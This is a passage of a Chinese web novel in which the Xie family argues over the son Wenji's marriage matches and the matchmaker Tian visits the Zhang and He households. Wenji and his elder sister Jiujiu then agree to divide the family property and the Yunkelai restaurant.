昨天芝娘和陈妈妈说的那些话每一句都在理,可道理和人情有时候就是这么难以取舍,黄娟能不知道自己这么做是委屈了女儿? 谁家的家业不是交给儿子,就是自己以后老了,难道还能真的跟着女儿女婿住,哪怕这个姑爷是上门女婿,哪怕他件件事情都做得无可指摘。 昨天不是照样说跟自己翻脸就翻了脸,这要是亲儿子自己去衙门里告他个忤逆,又或是豁出脸面不要在家里一哭二闹的吵都可以。 可裴元是女婿,还是个眼看着就要飞黄腾达的女婿,黄娟不愿不敢也不能豁出脸面跟女婿去闹。 今天好不容易把儿子等回来,却不想儿子也不站在自己这一边。进门就先说这两家的婚事他一个都没看上,哪家都不成。 要是真要给自己说亲,那就在县城里找个家世差不多或是差一些的富户或是地主家的姑娘,知礼能干最好读过书认识字,其他的并不强求。 谢文济对自己有自知之明,除了模样端正些并没有太出色的地方。虽说已经脱了商籍,但一家三代为商又怎么可能真的无人在意。 哪怕是姐夫,他在府学自己在青松书院,偶尔也能听到有人用那种轻蔑又鄙夷的语气说起他,一来说他骨头轻居然为了些许银两就入赘,二来也是嫌谢家是个商户人家,配不上裴元这个小三元。 若是裴元是入赘给府衙二老爷大老爷当女婿,瞧着吧,那些人的嘴脸可就又不一样了,那裴元在他们嘴里就是老爷府上的乘龙快婿,跟商人家的女婿那可是天差地别。 自己比姐夫又差了多少,真要是听从娘的找个官宦人家的小姐,这日子过不了好。 “这事不用你管,你读你的书。田婆子那边我已经让人回了话,这两日她就会去那两家替你说亲。要是能成最好,成不了再听你的,让她给你另找人家。” 谢文济说得口干舌燥,被黄娟一句她已经让田婆子去那两家回话给噎得心口都疼,看向亲娘的眼神里除了不可置信还是不可置信。 “娘,您就非要这么着急,等我回来把这事商量过再说都不行?您就不问问儿子愿不愿意娶那两家的姑娘?” “父母之命媒妁之言,你这几年读书难不成这个道理都读得不懂了。” 有些人的性子得顺毛捋,真要是人人都说她错了她这事做得不该,她反而越发固执起来谁的话都不听。 黄娟就是这么一个人,年轻的时候旁人就说她厉害泼辣是个有主见的,偏又不够能干。脑子清明不犟的时候这个性子没什么不好,看搁到现在就成了谁劝都不听,八头牛都拉不回来的死犟死犟了。 黄娟看着站在自己屋里的儿子女儿,和站在门外廊下抱着孙女儿指花草挨个认过去的女婿,本来心里那点慌张也彻底没了。 “你们也别着急,说媒没那么简单容易。还不知道姑娘那边到底愿不愿意,愿意了还要看人家家里要多少聘礼,成不成还是两说。” 话是这么说,但黄娟的态度已经摆明了。这事就得听她的,谁来跟她商量都没用。 “九九,你也不要怪娘偏心,世情就是这样谁也越不过这个老理去。你别老想着要是你爹在世肯定不会这么办,他也就是嘴上哄你哄得好,他要真活着,老了老了也得傍着儿子住。” “娘,您偏心就偏心,别又往我爹身上扯。我爹都走了多少年了,要投胎早这会儿怕是也能读书认字了。” 谢九九说不出自己不怪她的话,她现在就是憋了一肚子火,“你非要压着文济的头攀高枝我们的确拦不住,您现在看我这个大权独揽的女儿和有大出息的女婿不顺眼没关系。 可您得想好了,真要是随了您的愿找了个您挑中的媳妇回来,您到时候又压不压得住人家,要是压不住,您横不能是再给芝娘招个女好女婿回来,压制儿媳妇吧。” 第69章 第69章姐,分家吧。 当女儿的把话说到这个份上,说是撕破脸也不为过了。黄娟气得要骂人,被芝娘和江妈妈给拦住了,谢九九还想再说什么,也被谢文济从屋子里拉出来。 “你拉我做什么,这话哪里说错了。以前家里就剩那么点银子的时候没见她要给你找个好儿媳妇,现在倒想起来,好没意思!” “姐,我有事跟你和姐夫商量,咱们前院说去行不行。” 谢九九一甩手就把谢文济拉住她的手给甩开了,当姐姐的抬手就要打弟弟,谢文济也是下意识就从裴元手里把侄女儿给抱过来挡在自己跟前,一副你要打就连着我俩一起打的样子,把谢九九都看得气笑了。 谢文济早上的态度裴元看在眼里,他大概猜到了谢文济想要说什么。要不是那个想头,他不会犹犹豫豫这么久都没把那话直说出来。 “好了好了,文济说有事商量那就是有正事,走走走,先回去行不行。” 裴元看了小舅子一眼,又挑眉让他回去把芝娘也叫上,这才半哄半推地把谢九九先给带回正院。 谢文济来得很快,自己一个人跟过来的。阿满让春儿带着去书房找连环画看去了,芝娘还在后院没过来。 “芝娘说有什么事情我和大姐商量好就行,她什么都听大姐的。”谢文济坐下给自己倒了一杯茶,喝完顿了顿又喝了一杯,把茶喝出了壮胆酒的架势。 最后还是看见裴元又偷偷跟他使了个眼色,他才深吸一口气看向余怒未消的谢九九:“姐,我十七了,娘想要给我说亲,不是不行。” “没说不行,你都这么大了,不成亲留着干嘛。” 谢九九没好气的接话,从头到尾自己也没说不让谢文济成家啊。 “之前是想等你考上个功名再来说亲,你要是个秀才,那两家的姑娘也不是不行。” 张百户虽是六品官,但他家的姑娘是老来女,张百户过不了几年那武职就给传给儿子了。 到时候百户从亲爹成了哥哥,张家姑娘年纪又小,能找个像谢家这样家境殷实的人家,对张家姑娘来说不是一件坏事。 至于何县丞的外甥女就更是如此了,说是说有何县丞这个舅舅做靠山,到底隔了一层。 把这一层关系抛开不说,李家姑娘没了爹,家产也被李家占了大半,家里只有一个母亲相依为命,住在舅舅家说得直白些,不过也是寄人篱下罢了。 偏偏谢文济考了几年都没考上秀才,黄娟又着急给儿子成家,这不就杠上了。 “既如此,不如就让娘给我相看人家。那两家的姑娘不成总有成的,找个能安心踏实跟我过日子的就好。” 谢文济不乐意这两家,是因为这两家归根究底不是看上自己这个人,而是从一开始就憋着劲儿想要搏一搏,把女儿嫁过来等日后姐夫飞黄腾达了,他们跟着鸡犬升天。 亲戚之间互相帮衬这没问题,自家前些年要没有舅舅家帮忙日子怕是过不下来。但是从一开始就目的不纯,这样的妻子和岳家谢文济不敢要。 他害怕早晚要连累姐夫,到时候甚至连自己和姐姐的情分,也得被一点一点的消磨干净。 “等找到一个能成亲的好人家,到时候我们两个就把家分了吧。先分家后成亲,好不好。” 把想要分家的话主动说出口,谢文济感觉整个人都松了一口气,随即心又蹦到了嗓子眼。他生怕这话伤了谢九九的心,也不管谢九九什么反应,一把抓住了谢九九已经有些汗津津的手。 “姐,你听我说。咱们都知道姐夫以后前程还远,到时候这个家总是要分的。姐夫不会把你和阿满独留在家里,他就是想留我也不肯。” 什么都没有的时候,都只想着怎么把眼前的难关糊弄过去。当有了什么以后,就免不了开始想以后该如何如何。 谢文济想得很清楚,今年要是姐夫能中举,府学恐怕就留不了他多久了。 这几年京城关家送来的信里也有关如琅的,信是给谢家写的,内容大多都是寒暄问候,唯一连着问过两次的是自己要是以后考上秀才,愿不愿意去京城国子监读书。 第一次收到关如琅这么问的信,黄娟喜得一晚上没睡好,谢文济也飘飘然了好几天。可惜那一年自己没考上,那颗心才重新归了位。 后来关如琅的信里又这么问了一次,谢文济才明白过来关家想要带走的不是自己而是姐夫。 自己一个还没考中秀才的人,关家都能保证只要自己考中秀才就能占上一个贡监的名额入国子监读书,更何况是姐 夫。 要知道不管是府学的教授还是书院的老师,都一致认为姐夫今年能中举,是板上钉钉的事了。到时候真的中了举,关家是一定会要把裴元弄去国子监读书的。 这是好事,旁人求都求不来的好事,谢文济不能让家里拖了姐姐和姐夫的后腿。 “姐,咱们都大了不是孩子了。这次的事是娘闹起来了,可要是这次娘不闹,以后我成了家难道你和我还能保证一家子一个屋檐下住着,就不会吵不会闹吗。” “到时候姐夫要去京城读书,即便这几年不走,以后赴考还得去。考中了进士不管是留在京城还是外任为官,到时候大姐你跟不跟着走。” 到时候再走,谢九九还得脱层皮。人家那时就更有闲话说,说好的招赘女婿出息了女儿也跟着走了,倒把这一家子给撂下了。 真要是那样,谢文济恐怕自家亲娘连家都不会让大姐分。到时候姐姐为了姐夫的前程,这个亏她不吃也得吃。 “我……”谢文济说的事情谢九九又怎么可能从来没想过,只不过是她总想着到时候看情况再说,谁说裴元就一定能考得上呢。 “姐,别犹豫了。就趁着这次的机会咱俩把家分了,我找个我喜欢的姑娘成亲,娘跟着我过。她不愿听女儿的不愿跟着姑爷过日子,跟着我这个儿子总行了吧。” “书院等我成了亲就暂且不去了,家里的事情我学着管,学不会的你来教我。等姐夫今年秋闱考出个结果来,咱们就分家。” 谢文济要分家不是要谁走谁留,他是想要保住自己跟姐姐的情分。再这么由着黄娟闹下去,这个家就真要散了。 一贯强势又有主见的谢九九有些不知所措,有些事她心里清楚却一直拖延不去想。现在被逼得不得不面对了,她心里其实有些害怕。 这一边,谢九九看着谢文济和裴元一时心绪复杂得说不出话。另一边田婆子看着当着自己面吵起来的母女二人,也从心里涌上一股子无言以对。 田婆子不知道黄娟顶着三个女儿的反对还非要自己来说亲,她过年的时候跟裴元提过一回之后,见他那边没什么回应自然也不再多说。 现在江妈妈那边明确给了回话,她自然赶紧拿着写有谢文济生辰的草贴往女方家去。 这生辰也不详尽,就是表明男方一个态度。要是到了女方家说明来意这门亲事有得谈,女方家也回这么一张正式写在纸上的通媒帖,这门亲事才能继续往下谈。 田婆子先去的是何县丞家,何县丞的家离得不远,田婆子连滑竿都没叫,就这么挎着一个小篮子出了门,沿途还买了两方帕子两小包芝麻糖,才从何家后面进去。 当媒婆最要紧的就是学会看脸色,要知道眉眼高低。有时候有的亲事就得大声嚷出来,恨不得人在巷子口声音就先进了家门,这样主家才高兴。 但有的时候事情没正式落定,能少人知道就少些人知道,尤其两边在县城都不是没名没姓的人家,一来怕别的媒婆知道来抢生意,二来也是怕这事没成再影响日后说亲。 田婆子在这种事上一向有分寸,所以县城里有头脸的人家才更加愿意找她说媒。 可有时候有些事情也是命里注定,田婆子从何家后门一进去,就被何家的婆子带一路带到了县丞太太文氏院子里,一路还极为殷勤地跟田婆子搭话。 其实看这个架势,田婆子心里就大概明白今天这一家恐怕不成。果然在见到文氏之后,一坐下文氏就笑得极为客气的跟田婆子说,这次实在是麻烦她了。 “太太这话太见外了,我一个老婆子当年独自带着女儿在咱们县城落脚,这些年来能安安稳稳的过日子,靠的还不是大家帮衬,老爷们慈悲。” “今天来给太太请安,来的路上买了一包芝麻糖,给府上表小姐甜个嘴。” “您老人家太客气了。” 听话听音,田婆子这么一说可算替文氏解了围。 之前就是她主动找的田婆子,说是家里替外甥女相看中的谢文济,让她过完年等等看谢家有没有给儿子说亲的打算,要是有的话千万促成了这桩亲事。 当时文氏还专门嘱咐了不用着急,别显得自己家的外甥女特别想着嫁人特别扒着他们家。 还有就是跟不乐意大姑姐同住这事,也是外甥女李兰玉自己提的。说是当年她爹去世,就是因为李家的亲戚又不分家,才让他们欺负她和她娘。 现在自己要嫁人了,既不愿占那个谢大娘子和裴秀才的光,也不想跟他们同住一个家里,一个锅里吃饭。 这话是孩子话,何县丞的侄儿何云驰这两年跟裴元的关系算不上特别好,但也一直有联系。结亲结亲,结成了一门亲这亲戚关系就没那么容易断。 外甥女不愿意跟姑姐住,文氏和何县丞私底下商量过,觉得不全是坏事。新媳妇没过门,怎么提要求都不为过,等过了门成了一家人了,有些事也就不叫事了。 远香近臭,这会子把当儿媳妇的和大姑子隔开不见得是坏事。文氏自问是个大方的,这几年外甥女住在家里,有时候不也要生些小矛盾。 亲生的儿女时间长了都免不了拌嘴吵架,更何况一个外甥女。由己度人,外甥女要是真的嫁到谢家去,有谢大娘子那么个大姑子压在头上,这日子如何过得下去。 分家又不是说非要谢大娘子吃亏,大家和和气气把家分了,以后该怎么论亲戚还怎么论。至于裴元,他是入赘到谢家的,只要他和谢九九一日不和离,谢家的事他就得管。 方方面面都想好了,何县丞才让文氏把这事托付给田婆子。谁知前些日子自己那小姑子过来知道了这事,一听说她哥给自己女儿相中的人家是个开饭庄的,当时就不乐意了。 又是嫌弃谢文济没考上秀才,又是嫌弃他家还有个招赘的大姑娘,最最嫌弃的还是谢家是个商户人家满身都是铜臭,配不上她李家几代的耕读人家清白干净。 文氏说可以先让他们家分家,等分家完了再把李兰玉嫁过去,小何氏又梗着脖子非说什么家产自古以来都是儿子的,哪有大姑子分家的说法。 不是说那裴秀才有本事以后有大出息,既是这般有能为又何必巴望着家里这点产业,以后跟着那裴相公去做个官家夫人岂不舒服。 这吃相太难看,文氏和何县丞轮番去劝也劝不住小何氏,人家就是一口咬定了要么不要这样的人家,就找个清清白白世代读书的嫁了。 要么就要让那个谢大娘子不分家搬出来,自己的女儿一嫁过去就要做正经八百的当家娘子。 真要这么着,那就不是跟裴元联姻而是结仇了。何县丞唉声叹气犹豫了两天,便干脆把妹妹和外甥女都送回乡下老宅去了,这门亲事也不做了,就当自己没那个运道! “是我们家的姑娘没运气,好好的不知道怎么说病就病了,如今跟着她娘回老家养病去了。我家老爷说不如把姑娘留在家里多留两年,等身子骨养好了到时候再相看人家。” “那是那是,什么都 比不得身子骨要紧。太太您放心,这事我保证跟谢家那边说清楚,必不会让两家落了埋怨。” “好好好,有你这句话我就放心了。” 文氏要的就是这句话,当即让丫鬟又多拿了几匹布料来,直接让小厮送去田婆子家里,就当是辛苦她这一场。 第70章 第70章做人要讲义道! 何家给的布料有小厮直接送回去,亲事做不成田婆子也没有多留,吃了一盏茶就从何家出来。 百户所里的军户平时还有屯田的任务,士兵平时没事不能出百户所驻地,本地的百户所最要紧的差事就是驻守码头,和沿湖的水道交通,所以百户所的驻地和屯田都在南城外,离码头不远处。 张百户在百户所里有个小宅子,平时要守着百户所里的时候就带着妻子住在那边,在离百户所不远处的外城还有一个宅院,一家子都住在这边。 田婆子从何家出来,走到巷子口就叫了个滑竿往城外走。去城外这么远的路再不坐轿子去,田婆子今天可就得交代这里了。 到了张家,张百户照例不在,只有百户太太刘氏在家。 这才刚开春没多久,好些北方的商船都是要等化了冻才能南下。码头上闲了好一段日子重新忙起来,这种时候最容易出乱子,百户所的人得去码头守着。 “婆婆今天过来,可是谢家那边有回音了。” “有了有了,正是过来跟太太您说这个事。” 张家找田婆子比何家还早一点,他们家其实看中的不止谢文济,还有两户人家的儿子排在谢文济前面。可那两家都没成,这才轮到谢文济了。 田婆子隐去了何家的事,只把黄娟的态度和谢家的现状给刘氏细细说清楚。 “贵府不愿姑娘成亲以后跟谢大娘子一起住,黄娘子答应了。那个黄娘子为人还算公道,谢家眼下这份家业不说全部,起码一半都是谢大娘子赚回来的。 要是把谢大娘子从家里分出去,太太心里可得有个底,到时候分走的银钱产业怕是不会少。这话听着不好听,还得叫太太知道,这才是实心实意的话。” 其实黄娟还没跟田婆子说要怎么分家,她也不过是走一步看一步。但这里面牵扯到裴元和谢九九,田婆子的心自然也是偏着的。 有些话提前说了,到时候分给谢九九的多些,张家也不会有意见。 “这个自然,要不是田婆子你的名声好,我也不敢找上你给我家姑娘说亲。 谢大娘子在容县名气那么大,谁还不知道云客来是谁在主事。她要分家只分走一半都算她厚道,谢家要是连一半都不愿意给,我又怎么敢把女儿嫁过去。” 况且谢家那点家产在张家看来其实真算不得什么,本朝是重文轻武,武官不如文官值钱,可那也得看是哪里的武官。 容县临着大湖,说一句鱼米之乡不算夸大。丰年田里的稻谷一年两熟,近年来朝廷的税收又不算苛刻,很难饿死人。 年景不好的时候湖里的塘里的,只要肯下力气总也能捞着口吃的。实在没法子的人家,就是挖草根摘野菜,熬上一些时日等朝廷的赈灾粮食到了,也就熬过来了。 在这样的地方屯田当百户,张百户家不说万贯家私,要拿出几千贯钱总不是难事。 谢家分家怎么分,在张家看来也就那样,摞一起又有多少,多分一点少分一点都一样。自家给女儿准备的嫁妆,不夸张的说恐怕都能抵谢家半个家当了。 “既然谢家愿意为了娶我家的姑娘分家,有些话我也不藏着掖着。你也知道我这女儿是我和我家老爷得的老来子,为了生她外面多少人笑话我是老蚌生珠。” 刘氏嘴上抱怨,但提起女儿眼里却是藏不住的笑意,“我生了四个,前三个儿子没一个省心的,好不容易得了个姑娘,从小凤凰蛋似的养大,没想到也个不让人的性子。” 从小给他像男孩儿一样启蒙一样请先生教,琴棋书画没有没学过的,却也没有一样学成了的。读书倒是读得不错,可女子读书读得再好,不能去考功名又有什么用。 “这孩子越大越有主见,平日里她爹说一句她能驳十句。我念叨她念叨得烦了,骑上马就走家里追都追不上。” 孩子还小的时候,刘氏和张百户只觉得把这世上最好的捧到女儿跟前还觉得少了。大了才知道把女儿的心给养野了,不好说人家。 “找谢家,一来是看中他们家殷实,虽比不上家里但怎么也有个家底子在,姑娘嫁过去了不吃苦。二来女婿是个读书人,书读得好不好另说,起码以后跟我家姑娘有话说。” “再有便是他们家那好女婿,说来也不算我拿乔夸大,那位裴郎君以后有大出息自然是好,咱们家又多了门好亲戚。 要是没有其实也无所谓,再过十年二十年,或是哪天连我女儿都不在了,我们张家这个百户的武职不也照样要往下传的。” 刘氏这话说得有些倨傲,却也是事实。军户都是世世代代往下传的,没那么容易脱了身上这层皮。张家只要不谋反不犯事,百户这个武职总归是他们家的。 “所以啊,我们家也不贪图人家以后的前程富贵,也不想要女儿受一点点委屈,才想着说不跟大姑姐住在一起。” “田婆子这话你大可跟谢家说清楚,要是这门亲事能做成,分家的事我家没意见。 怎么分也是他们姐弟之间商量着来,能和和气气为好。我家的姑娘嫁过去是过日子,可不是故意要跟大姑子结仇的。” “娘,您看您这话说得,感情这世上的正话反话都被您说了,还让人家怎么说。” 人未至声先到,田婆子就听见外边一个中气十足的女孩儿声音。因着年纪不大还带着几分脆生生的,就是这说出来的话可够直接的,一般人怕是都接不住。 “咱们这样的人家,找个比咱们家差一截的去低就,什么都还没说就先提了不跟大姑子同住的要求。 您也知道谢大娘子的名声啊,那么个能赚钱能旺夫的香饽饽,谢家要只为了娶我把人分出去,说句下血本不为过吧。” 张桂兰后半句话是对着田婆子说的,这姑娘从外面进来走路都带风,说话也是嘎嘣脆利索得很,看得田婆子在心里啧啧称奇。 本来被刘氏那倨傲的态度弄得有些发堵的心口,这会儿也顺畅了大半。有时候还得是看姑娘好不好,正主好了家里人有些小毛病睁一只眼闭一只眼都能容下。 谁家的锅底下面都有灰,九九不也有黄娟那么个娘。千好万好这么些年,现在说要跟女儿分家就分家,这么个婆婆也不好伺候! “人家不同意便罢了,要是真同意了,还紧赶慢赶的分了家,之后咱们再提什么条件,他们家还能不答应?毕竟为了娶个媳妇连家都分了,要是媳妇还娶不回去岂不是鸡飞蛋打!” 张百户是个武夫,百户所里人多且杂,刘氏作为百户太太,这些年能把张家打理得井井有条,家中四个儿女皆为她所出,要说她没点本事傻子都不信。 她做这一切自然都是为了女儿好,可张桂兰却不打算领情。她转身给田婆子道了个万福,“婆婆,我是个直性子,有话我可就都跟您直说了。” “我娘想要给我找个处处都好,最好是能一辈子捧着我过日子的人家。 可我觉得这世上没有那么好的事,我和我娘都三天两头的拌嘴,您瞧瞧,前几天我惹急了我娘,这胳膊被她掐得到现在还红呢。” 张桂兰把衣袖往上一撸,露出一小截雪白丰腴的膀子来,田婆子光是看这一截膀子就知道张家是真心疼这姑娘。哪有什么红,反正自己是瞧不见。 “撺掇人家家里分家这种事,我觉得不道义。人立足于世无非忠义二字,在我们百户所里是这样,她谢大娘子做生意也是这样,就是做一辈子夫妻,想要好好的到头也是这样。” 刘氏总跟张桂兰说要多动脑子心里多谋划些,她就是手腕够强硬,这个家才这般风平浪静。 但张桂兰却觉得她爹和娘能好好的过到现在,凭的也是两人都仁义。要不然什么手段就那么高明?一日两日看不透,一年两年还看不穿? 真要是厌烦了一个人,什么手段用尽了照样留不住。留得住是因为有情分,别管什么情分都一样。 要是自己还没过门就先让丈夫 和明明说好了留在家里招赘的大姑子分了家,不管这个家怎么分,她都觉得这事办得不义道! “田婆婆,强逼着人家分家的事我不干。 谢家那个老二我托人打听过了,听说人模样不错性情也好。他家要是觉得我这人还行,这门亲就继续往下谈,这是我的草贴您老拿了去。” “但分家的事,烦请婆婆帮我跟谢家大娘子和他家二少爷说清楚,分家不分家我绝不干涉也绝不强逼。我进了门该怎么过日子就怎么过日子,别为了这事伤了他们姐弟之间的情分。” 张桂兰这话说得通情达理,但她也知道现在说这话晚了。 自家亲娘抛出去分家的事,人家那边也应承下来。现在又说不要人家分家了,说不定人家家里关上门,为了这事狗脑子都打出来了。 只是晚了也得说,她一把按住刘氏还要说话的打算,“娘,这人这家我看上了,愿意嫁。千万别再替我做主要这要那了,这一家不成,下一家我能看上的在哪儿,且还不知道呢。” 本来说得好好的两家人,一天的功夫就都变了卦,也不知道之前非要提出这般为难人的要求做什么。 哪怕是田婆子这样被刁难惯了的媒婆,脸上也免不了挂了几分不乐意。 “田婆婆,您老也别嫌我家出尔反尔麻烦,这是嫁人又不是卖大白菜,现在说清楚到时候嫁过去了再后悔是不是晚了。” 张桂兰今年十六了,张家世代习武,她那身板子像她爹骨架子就大,从小又娇生惯养粗一看是有些丰腴。 但好在她也从小就练武,并不是个虚胖的。身上手上有劲儿得很,连说话都中气十足,她这般爽朗的劝说田婆子,田婆子还真忍不住笑了一下。 但笑一下有什么用,等从张家出来坐着滑竿一路再到谢家,田婆子真是再怎么提气也笑不出来了。 一家借口外甥女病了回乡养病,这一去还不知道什么时候回来,说亲一事自然作罢。黄娟明知道这是借口却也不好多问,只能强笑着附和说这是没缘分,没法子的事。 在她心里,其实更满意何县丞家的外甥女,毕竟黄海还在衙门里,人家舅舅又是县丞。真把九九和女婿分出去了,儿子有什么事不方便跟姐姐姐夫商量,不是还能找何县丞。 另一家倒是看中了谢文济,但是是人家姑娘自己看中的。这做派未免太不矜持了些,还有她说的那些话本是句句在理,可听在黄娟耳朵里就怎么听都刺耳。 那姑娘是道义了,可这桩事情里不忠不义的又是谁?黄娟知道人家不清楚自家的矛盾到底如何,心里还是觉得怄得慌,她都不知道这些日子自己闹来闹去的到底是为了什么! “那?那这个家就暂且不分了?” 黄娟没了‘为儿子好’这股劲在心口顶着,死活要分家的打算也就散了大半。她看向江妈妈,江妈妈自然是一万个愿意。 一直坐在旁边没出声的谢文济却开口打断,“田婆婆,张家姑娘能说出这番话,我属实没想到。这门亲事还请婆婆多为我费心,要是能成您老这辈子的保媒鞋我都包了。” “只一件事还得您抽空替我走一趟,就是得告诉张家姑娘,我和我姐这个家是一定要分的,烦请她不要把这件事挂在心上。 树大分枝本是常理,我与我姐之间半分嫌隙矛盾,便是分了家也是为了过得更好。您多替我美言几句,我想张家姑娘定能明白我的心意。”【你现在阅读的是 】 70-80 第71章 第71章分家 黄娟听儿子一口咬定了说要分家,还要在成亲之前就把这个家给分了,顿时憋得满脸通红,紧跟着便发出一声堪称凄厉的嚎哭,把隔壁邻居家的狗都惊着了。 有好事的大娘过来敲门,老吴叔隔着门缝摆摆手,只说是小事小事不叫那几个热心肠的大娘们进来。 田婆子来回话,谢九九本留在前院没往后面来。这会儿听见黄娟的哭声过来,谢文济才把事情原委前后跟她说清楚了。 黄娟见女儿过来,本能的就要跟谢九九告状。话到了嘴边才想起来这事被自己来回折腾的就是谢九九,便又悻悻住了嘴。 见事情不对,田婆子早趁着没人在意的时候走了,就留下一家子大眼瞪小眼的,看着黄娟哭得伤心。谢文济抬胳膊肘戳了谢九九两下,示意她赶紧说话。 “娘,别哭了。这事我和老二说定了就没得改,分家是您提的,现在我们如了您的愿您又不愿意了。” 其实成亲没成亲,对于谢九九和黄娟这对母女来说是有区别的。 当年裴元没进门之前,谢九九也老是这么没轻没重的跟黄娟说话。后来成了亲反而好了许多,就连江妈妈和陈妈妈也都说咱们九九这成了亲就是不一样,脾气都没以前那么冲了。 刚开始的时候黄娟也觉得这样挺好,后来慢慢回过味儿来,这不是大女儿懂事了脾气变好了,而是能让谢九九没轻没重的那个人,从亲娘变成了丈夫。 有几次黄娟看着谢九九因为一点小事非要跟裴元较劲儿的那个样子,嘴上说着小夫妻不吵不亲近由着他们去,但心里不是一点儿酸劲儿都没有。 女儿不嫁人留在家里招赘,其实跟嫁人是一样的。成了家丈夫和孩子就成了最亲近的人,自己这个亲娘倒是要退上半步了。 这话黄娟只敢放在心里嘀咕,跟谁也不曾说过。 现在看着眼前跟自己挺腰子较劲儿的女儿,黄娟好似也没那么生气,反而收了哭嚎的声儿,抬头去看女儿:“你先说说,这个家你想怎么分。” 分家这种事,要说麻烦自然是这世上头等的麻烦。要说容易其实也没那么难,只看分家的人是不是真的想分家罢了。 谢九九本就不是迂腐不知变通之人,昨天白天谢文济说过那些话想明白了,晚上谢九九把他叫到前院书房,姐弟两个关上门把怎么分家给商量好了。 “云客来是祖上留下来的产业,我没嫁人是招的女婿,按道理该一人一半。” “但一个饭庄里两个主事的东家是祸根,不能这么办。所以容县的云客来留给文济,这几年云客来赚的银子我七他三。” 有些事在气头上自然没法说,等气过了,大俗人一个的谢九九才不会让自己吃亏。 这几年的云客来的生意一年好过一年,去年年底盘账,把所有的成本开支连同自己拿的二百两工钱剔除,谢家还能赚八百两。 要知道这八百两只是七成的利,要是加上分给潘掌柜和秦娘子的那三成,云客来一年能赚一千二百两白银。 现在的云客来不是当年那个苟延残喘苦苦维持的饭庄了,就是府城开饭馆的又有谁不知道容县有个云客来。这么个金饽饽留给老二,自己多拿银子不过分。 “七成?” “娘,您别着急啊,还没分完呢。” 黄娟以为最一碗水端平的分家是姐弟两个一人一半,她没想到一直把这个家放在心坎上,一心一意为这个家谋划的大女儿一张嘴就要去这几年云客来七成的利。 “在商言商,云客来怎么说也是祖父辈儿就做起来的招牌,至今也有几十年了,光是这块招牌也值不少银子吧。” 谢九九自然不可能把云客来带走,但是她从家里分出去总不能以后就守着分的这点银子过日子。 况且文济说的没错,要是裴元考中举人去京城国子监读书,自己跟过去难道每天就待在家里带着阿满,眼巴巴的盼着裴元从国子监回来? 谢九九没过过那样的日子,她觉得自己过不来那样的日子。自己又没有别的本事,唯一能做的还不是开饭馆。 以前听来云客来吃饭的客人说,京城也有岳州人开的饭馆,只不过味道不怎么样,不如山东、山西两地的掌柜生意做得旺。 谢九九当时就留了心,现在要分家了这件事自然得提前商量好。 “云客来的招牌我也能用,到时候我带潘掌柜 和大头走,秦娘子和老韩留在云客来继续支应。我保证不在容县再开第二家云客来,但出了容县,云客来的生意怎么做我说了算。” 黄娟原本想的是女儿继续打理云客来,儿子成亲之后继续专心读书,谁承想谢九九打的主意竟是要另立门户另做一个云客来。 “你不在县城,你要到哪里去。” “娘,裴元还要继续考试的,您忘了吗。” “要是不分家,裴元考到哪儿,或是日后去哪里做官,我是准备带着咱们一家子走的,要不然我不会把云客来的利那么容易就分给潘掌柜和秦娘子。现在要分家,就是另外一个打算了。” “那潘掌柜和大头都走了,谁来做云客来的掌柜。” “老二啊,他刚接受难道就想跟我这样做个甩手掌柜?想什么呢。” “他?他不行,他还小呢。再说……” “娘,我当年成亲以后去云客来当掌柜,也是十七。” “娘,这事我跟我姐商量好了。我姐也不是马上就走,等家分完了我就跟着我姐去云客来学,我不说学得多好,至少不被外人哄了骗了就行。” “您觉得女儿女婿靠不住,您以后就跟着我靠着我,我是您亲生的儿子,这世上总没有比我更能靠得住的人了,您就踏踏实实的坐着,听我姐把话说完行不行。” 云客来就这么分了,谢文济拿话把黄娟的嘴给堵上,又朝谢九九点了点头示意她赶紧往下说,要不然光是这一个就没完没了了。 “镇上的那处宅子我和文济都不要,留给芝娘当嫁妆。鹿鸣村的老宅和田产都留给文济,我也不要。私塾还要继续开,田里的产出一大半都要拿去维持私塾,这笔银子和田产就不分了。” 私塾一天在这里,对于谢家来说就是一个无形的保障。这个保障自己和裴元受益,文济和芝娘自然也能得益处,这个不动一家子包括黄娟都没有二话。 剩下家里的银钱,拢共四千五百两谢九九直接给分成了三份,“咱们家跟别人家不同,我留在家里招赘,文济又拿了云客来,留给芝娘的嫁妆就不能太少。” 眼下县城一套带院落厢房的一进宅子,不挑拣位置的话大概一百五十两能买下来。一千五百两银子加上镇上那套宅子给芝娘做嫁妆,还算过得去。 “我分出去了,娘跟着你过,按道理我得给娘奉养,那一千五百两我从中抽五百两给你,之后每年不管我在哪儿,都往家里寄一百两,你看行不行。” “一年一百两可以,不少了。这五百两大姐不用给,娘又不是你一个人的,你奉养难道我就不用奉养了。 我每年也给娘拿一百两,这一百两放在娘手里,不拘是拿去买什么东西,手里有钱总好过总问儿女手心朝上的要钱。” 谢文济怎么也不肯收谢九九给的五百两,自己小时候体弱,要说花银子数自己花家里的银子多。 这几年读书,说是说家里两个读书人,但他知道姐夫一直在往回赚钱,姐姐身上的首饰新衣裳什么不是姐夫买的,只有自己才是真正家里花钱供着读书的那一个。 “那我也给……” “你给什么给,你要是以后也招个女婿回家你就给。” 芝娘见大姐二哥把娘的奉养都商量好了,总觉得自己只拿不给也不好,没想到话还没说完就被谢九九给阴阳怪气的怼了回去。 说定了分家的事,没有再给黄娟反悔的时间。隔天谢九九就让谢文济去黄家把三个舅舅都叫了来,把写好的分家单子给三个舅舅看。 娘亲舅大,这些年谢家没少靠着三个舅舅。以后分了家,谢文济和谢芝娘两个只要还在县城过日子,跟舅家往来也不可能少。 这个时候家里两个年纪大的孩子要分家,不提前让舅舅点头,谢九九和谢文济说得再好这个分家也不能作数。 那天从谢家回去,大舅妈常氏就觉得这事不对,就怕为了给文济找个好媳妇,再让姐弟两个生了嫌隙。 可再怎么也没想到外甥女和外甥会这么快就把家给分了,看这屋里的站位,感情不是两个孩子闹翻了,而是自己这个小姑子跟三个孩子闹了个没脸。 一家三个孩子,不管是儿子还是留在家里招赘的女儿,亦或是年纪还小还没说亲的小女儿,能和和气气把家分成这样,连自家妹妹的奉养都已经说定说好了,黄大舅拿着分家的单子,神色复杂却说不出一句劝说的话来。 三舅黄河倒是骂骂咧咧的,他跟黄娟的感情最好,在他看来这事占不占理先不说,他看着黄娟哭得眼眶通红的样子就来了火,上来就要往谢文济身上踹,却被裴元一把给拉住了。 君子六艺,本朝虽不如以前看重,但该学的都得学。骑射一道裴元学得还不错,黄河这么个在街面上混迹多年的人,竟然被他一把给拦住了。 “三舅,要是分家的单子哪里列得不对您跟我说,有做得不到的地方咱们做小辈儿的改,动手就没意思了。” 